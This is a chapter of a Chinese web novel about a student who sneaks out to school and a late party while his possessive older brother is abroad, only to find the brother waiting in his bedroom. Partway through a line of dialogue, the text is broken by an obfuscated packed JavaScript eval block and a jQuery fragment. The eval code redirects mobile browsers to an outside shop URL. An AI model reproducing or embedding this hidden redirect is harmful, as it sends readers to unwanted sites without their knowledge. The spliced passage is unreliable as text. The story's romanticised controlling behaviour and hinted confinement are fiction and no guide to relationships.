司愿在班级群里聊开心了,压根没有注意到门口的动静。
司铭意大步流星回来,带着一阵冷风,面色还保留着处理工作时的严肃,加上近190的身高居高临下,看得司愿一怔。
要不是知道这人是从小一起长大的哥哥,司愿也许真要被他的威压吓一跳。
司愿蹦跶过去,眼里映着暖黄的灯光,纳闷道:“怎么回来了?”
见到他没心没肺的样子,司铭意收敛了散发的戾气,语气平和道:“你看起来很开心。”
闻言,司愿下意识摸摸自己的脸,嘿嘿两声,“哥哥回来了,我当然开心呀!”
司愿像小蝴蝶一样围着他绕了两圈,边转边小声咕哝,他应该没看出来自己是因为要去上学和参加聚会才开心的吧?
司铭意抚了抚他的后颈,示意让他停下来。
司愿懵懵,“诶?”
“你一个人乖乖待在家里,听见了吗?”
“知道了知道了!”再听耳朵都要起茧子了,司愿一直点头,“放心吧!我很听话。”
“等我回来就带你去海岛度假。”司铭意敛下眉目,“到时候,就没有任何人会打扰我们了。”
司愿觉得这话奇奇怪怪,什么叫没有任何人打扰?他抬眼,瞧见司铭意深不见底的眸色,陡然心惊,好像要把自己关在海岛上似的。
几秒后,司铭意摸了摸他的头发,神态自若,“你乖,有事联系我。”
呼。
司愿呼出一口气,方才司铭意阴鸷的神情,一定他出现了幻觉吧。他哥怎么可能会把他关起来呢?那成什么了?
“我当然乖了!”司愿挺挺胸脯,心底却心虚着,他推走他哥,“快去快去。”
司铭意走前叮嘱他,语气稍冷,“不要有事瞒着我。”
司愿瞬间没了底气:“哦...”
确认了司铭意真的离开了后,司愿耶斯!原本还在担心明天怎么和司铭意坦白要去上学这件事情,至于聚餐...他有八成的几率会拒绝。
而现在,他根本就不用担心了好吧?
司铭意不在,那他不得赶紧上天,想干什么就干什么?
*
“欢迎司愿同学加入我们19班!”
司愿重新站在教室里,他乖巧着书包,环顾四周,深深地吸了一口气,哇,还是记忆里高三的味道!
沉浸在枯燥的学习生活中太久,大家都对新来的同学特别感兴趣,尤其是他那一张放在人群里格外突出的脸蛋,很难不让人不去注意。
琥珀的眼眸在自然光的照映下如同珍贵的宝石,他脸蛋很小,人也清瘦,穿着质朴的校服坐在课桌前,薄薄一片,但他一笑起来,那种阳光和活力却太有分量。
司愿和同桌加了微信后,接下他的试卷后开始狂做,好长时间不做试卷,真的手痒。
左手佩戴的腕表咔哒一声磕在课桌上,司愿嫌烦,也怕吵到别人,随意扔在了桌子上,同桌李思寻着动静一看,白金表壳配鳄鱼皮表带,线条柔和温润,表盘表圈上的钻石交映。
他简直目瞪口呆。
“这、这这手表应该很贵吧?”李思咽了咽喉咙,惊得说话都不利索,“就这么随便摔在桌上了?”
“昂。”司愿沉迷做题,抽空搭理他一下,随手收进桌子里,“没事,摔不坏,摔坏了就再买一块。”
不是...几十万的手表说买就买啊?
李思望着试卷头晕目眩,他的新同桌到底多有实力?仔细一看,虽然司愿也穿着清一色的校服,但他细皮嫩肉,气质脱俗,偶尔展露出来的脾性有点儿任性,肯定是被原生家庭溺爱着长大的。
刺骨的寒风从窗缝里渗进来,李思哆嗦着发紫的嘴唇,叹了声气,无奈去和窗户搏斗,似乎饱受折磨许久。
司愿偏头,将按钮一旋,拉开再拽上,他笑着道:“这样就好啦,会没有那么冷。”
“你怎么知道?”李思惊呆了,“怎么感觉你以前好像在这里上过学一样?”
司愿笑而不语,心想论资历,你还得叫我学长呢!
不过这学校真是够穷的,八年过去了,窗户都不知道修一下。
他再一次环顾四周,更多年以前,他初二的年纪,司铭意高三,就坐在他现在的这个位置。而小司愿总是刚下课就飞过来找他,抱着他诉苦今天学的内容好难!
*
“陈叔叔...你简直是我见过最好的管家!如果我哥今晚问起你,你就说我十点钟已经在家里睡觉了哦?我们兄弟间真挚的感情就靠你啦陈叔叔!”
“哎...”陈管家无声叹气,心想这下还怎么交差?司铭意那样对司愿生活掌控到毫无缝隙的人,今晚一定会打电话过来询问司愿情况的。
他很清楚司铭意的性情,要是想知道,没有他不知道的东西,如果是谎言,他肯定能一眼看穿,尤其是关于司愿的。
司铭意虽然平日里不会苛责别人,但要真是出了点什么事情...陈管家冷得战栗,连连摇头叹气。
这要怎么瞒着?
这对兄弟关系这么好,真是造孽啊...
司铭意一离开,司愿哪里还知道门禁是什么东西?
学校门口的餐馆包厢内,司愿身边围了一圈手机,全要加他的微信。
光看他的长相,同学们以为他很难接近,只可远观,但一场聚餐将他们拉近,这才发现司愿同学人太好了,简直就是友善的典范,丝毫没有任何架子。
“别急,加完你的加你的...每个我都会加。”
司愿顶着一头蓬蓬的脑袋忙着戳小红点。
微信列表里不再只有司铭意,多了好多同学,也是热闹起来了,而司铭意的头像被顶到了最下方。
陡然,司铭意全白的头像突然跳到了最上方,将所有人都压下。
司愿心率骤然加快,砰砰跳着,紧张地快要从嗓子眼里蹦出来,他滚动清秀的喉结,颤颤巍巍点开信息。
[哥:陈管家说你在家里。]
还好还好...陈管家果然帮了他,司愿没那么紧张了,他回了个小兔点头的表情包,自夸自卖。
[哥:有没有做不乖的事情?]
司愿心里一个激灵,本能看向四周,甚至连天花板都看了。没有司铭意,也没有熟悉的保镖...
果然是他多虑了。司铭意远在海外,还给自己发了一张他在开会的照片,图片里露出他一点笔挺的长腿,背景是几个西装革履的精英纷纷端坐,他又没有千里眼,怎么会知道他现在在做什么?
再说了,他就是不乖,就要叛逆怎么了?司铭意都有叛逆的时候,他还不能叛逆了?难道他做什么都需要经过司铭意的同意吗?
想了想,司愿此时飘到了天上,极其睥睨他哥。
[妙脆角:坏了,我们之间没有信任了,我在你心里就是这样的小孩儿?]
[妙脆角:气死。]
[妙脆角:你亲爱的弟弟已经睡了,勿扰。]
五分钟,十分钟,半小时…司铭意没有任何回复,没有继续质疑他,也没有因为他说了气死而哄他。
“小司同学,你怎么在发呆?你是从来没有喝过酒吗?…”
他们已经从餐厅转战到ktv包间了,未成年人是无法出入娱乐场所的。但班长拜托了他开ktv的哥哥,偷偷带他们进去,桌上摆着几瓶酒,几个好奇心比较重的同学已经痛饮了起来。
司愿看见熟悉的酒瓶,心脏咯噔一下,血液流速加快,被揍屁股的场景历历在目,他强烈拒绝,“你们
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17919643|213416||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
喝吧!我哥不给我喝…”
“你哥管你管得这么严吗?怎么比父母还严格。”
“家教太严了吧…”
司铭意在他十八年的生活中的确充当着家长的身份,亦兄亦父,家长会是他开的,学校里发生了什么事情,老师甚至会直接去司铭意的班级找他。
他对司铭意生活的深入早已不能是普通尺寸所能衡量的。
司愿叹了声气,玩也玩得不尽兴,总觉得有什么大事情要发生了,他胆战心惊点开手机,然而司铭意还是没有任何消息。
难道是忙去了?
所以说…他蒙混过关了,这件事情被聪明的他弄翻篇了?
可司愿迟迟开心不起来,反而恹恹的。
“小司同学,真的不要喝一杯吗?”长发男生将饮料递到他手中,热情笑了笑,“饮料,没有酒精,适合你这种乖学生。”
司愿奇怪地看他一眼,这人他有点印象,今天刚到班级,这人就总是似有若无从身旁经过,眼神阴测测的,怪瘆人。饶是心大的司愿都看出来他的不对劲。
“不要。”司愿道。
那人噎了一下,大概是没料到他会如此直白拒绝,眼里的笑意逐渐黯淡。
腕表显示时间已经是凌晨两点了,司愿心中的警铃已经在不停鸣响了,他打了好几个哈欠。环顾四周,其他同学唱得很开心,欢声笑语夹在歌声中。
他敏锐发现,刚才一直在劝他喝饮料的人不见了。
奇怪,明明几分钟之前还在的,去哪里了?
等了半个多小时,这人还是没有回来。其他人也发现了这件事情,彼此疑惑。
“徐同到现在还没有回来吗?打电话给他也没接,不会出什么事了吧…”
“说不定是太累了先回去睡觉了,别担心。”
“…”
司愿也没多想,他泪眼朦胧,困得找不到魂儿。结束后李思帮他打了车,司机和同学听到他家住在山顶庄园的时候,嘴巴都要掉在地上。
司愿不明所以,后知后觉确实有点夸张,他露出稍显腼腆的笑,挥手道别。坐进车里,司愿透过车窗看外面的景色,离家越近,他的心跳就越快,但他很快学会自我安慰。
司铭意怎么可能短短几个小时就回来?再说了,他就算掌控欲再强,也不至于知晓他的动向,总不能是在他身边悄悄安置了几个保镖而他不知情吧?又总不可能在他身上放定位和监听吧?
司愿狐疑扯扯衣服,什么都没有发现。
他果然是太疑神疑鬼了,怎么能怀疑到他哥身上?他哥这么正直的一个人,怎么可能会做出这样的行迹?
庄园陷入了黑暗,寂静无比,他没有被发现!
司愿弯起唇角窃喜,蹑手蹑脚爬上楼梯,他轻声打开房门,手莫名一顿。
灯打开的瞬间,他看见正对面站着个男人,身穿笔挺的正装,灯光勾勒着他冷峭的线条。
“哥……”
“你、你怎么会在这里?”
司愿吓傻了,呆站在原地,好半天找不到自己的声音,手脚紧张到麻木,反应过来一点后,他拼命揉着眼睛,然而面对的是怎么也不会消失的司铭意。
司铭意只是静立,异常平静。但司愿看出了他俨然处于怒火的边缘,像紧绷的弦,早已忍耐到了极致。
司愿打着哈哈,脱掉沾染上包间里混乱味道的外套随手一扔,嘻嘻道:“哥,你站在我房间里干嘛呀?什么时候回来的,怎么不提前告诉我一声呢?”
“提前告诉你?”司铭意语调上扬,勾起一点唇角,但眉眼间毫无笑意,他甚至浅笑,吐字无比生硬,紧咬着下颌,“宝宝,我真的不希望在这个时间点看到你匆匆赶回家。”
“宝宝有心事,要瞒着哥哥了,对吗?”